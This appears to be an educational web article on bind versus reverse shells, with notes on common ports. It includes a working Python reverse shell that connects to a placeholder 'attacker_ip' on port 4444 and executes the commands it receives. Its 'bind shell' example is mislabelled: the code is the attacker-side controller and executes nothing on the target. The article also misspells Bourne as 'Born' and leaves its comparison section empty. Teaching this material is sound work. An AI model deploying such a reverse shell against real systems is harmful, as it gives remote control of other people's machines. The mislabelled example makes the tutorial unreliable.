Difference Between Bind Shell and Reverse Shell

A shell is a program that interprets our commands and gives the written commands to the operating system. It acts as an interface between the user and the operating system. It takes input from the keyboard and gives it to the OS, and the terminal lets you type commands and interact with the shell.

When to Use Reverse Shell and Bind Shell?

Both reverse shells and bind shells describe techniques in network security for establishing a link between an attacker and a target machine. However, the use of any of them is highly scenario-dependent:

• Reverse Shell: This would be needed—one of the main applications of a reverse shell—when a target machine is behind a firewall or NAT, making it hard to initiate an inbound connection. The target machine will connect to the attacker's machine in this setup, hence bypassing the firewall restrictions.
• Bind Shell: A bind shell is applicable when the attacker's machine is able to connect directly to the target machine. In that respect, the target machine is listening to some port for incoming connections, and control is given to the attacking machine upon connection to that port..

The choice to use a reverse shell or a bind shell will, therefore, be determined by configurations of the network, the firewall, and the extent of access the attacker has to the target machine.

How to Create a Bind Shell?

Creating a bind shell can be done using various tools and programming languages. Below is an example using Python:

Python Bind Shell Example

import socket
import os

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Bind the socket to a public host, and a well-known port
s.bind(("0.0.0.0", 4444))

# Become a server socket
s.listen(1)

print("Listening on port 4444...")

# Accept connections from outside
(client_socket, client_address) = s.accept()
print(f"Connection from {client_address} has been established!")

# Send commands to the shell
while True:
    command = input("Shell> ")
    if command.lower() == "exit":
        client_socket.send(b"exit")
        break
    client_socket.send(command.encode())
    response = client_socket.recv(1024).decode()
    print(response)

client_socket.close()
s.close()

In this example, the bind shell listens on port 4444, and once a connection is established, it allows the attacker to send commands to the target machine.

How to Create a Reverse Shell?

Other reverse shells can be created with several tools and programming languages. For example, Python:

Python Reverse Shell Example

import socket
import subprocess

# Create a socket object
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the attacker's machine
s.connect(("attacker_ip", 4444))

# Redirect input/output to the socket
while True:
    command = s.recv(1024).decode()
    if command.lower() == "exit":
        break
    output = subprocess.getoutput(command)
    s.send(output.encode())

s.close()

In this case, the reverse shell connects to the attacker's machine on port 4444. The attacker can thereby issue commands for execution on the target machine.

Some Popular Shell

• Windows PowerShell
• Windows Command Prompt
• bash
• sh
• dash
• Born
• Korn

Port

In simple words, a port is an opening where a connection can be made. 

For example, for visiting a website like https://geeksforgeeks.org, the connection will be established to port 443 because HTTPS and the server use port 443 for connection. Ports are the number associated with IP addresses.

Some commonly used ports are

• Port 21 for control, 20 for data transfer - FTP
• Port 22 - SSH
• Port 25 - SMTP
• Port 80 - HTTP
• Port 443 - HTTPS
• Port 465 - SMTPS
• Port 587 - SMTP
• Port 993 - IMAP

Bind Shell

A bind shell is a sort of setup where remote consoles are established with other computers over the network. In Bind shell, an attacker launches a service on the target computer, to which the attacker can connect. In a bind shell, an attacker can connect to the target computer and execute commands on the target computer. To launch a bind shell, the attacker must have the IP address of the victim to access the target computer.

Reverse Shell

A reverse shell or connect-back is a setup, where the attacker must first start the server on his machine, while the target machine will have to act as a client that connects to the server served by the attacker. After the successful connection, the attacker can gain access to the shell of the target computer.

To launch a Reverse shell, the attacker doesn't need to know the IP address of the victim to access the target computer.

Difference Between Bind Shell and Reverse Shell

Conclusion

Reverse and bind shells are two major applications of penetration testing and can also be used in network security. Knowing when and how to apply them is very important for both attackers and defenders. Generally, in cases where the target machine is behind a firewall, then a reverse shell would be in order. At the same time, if a direct connection to the target is possible, then a bind shell is used.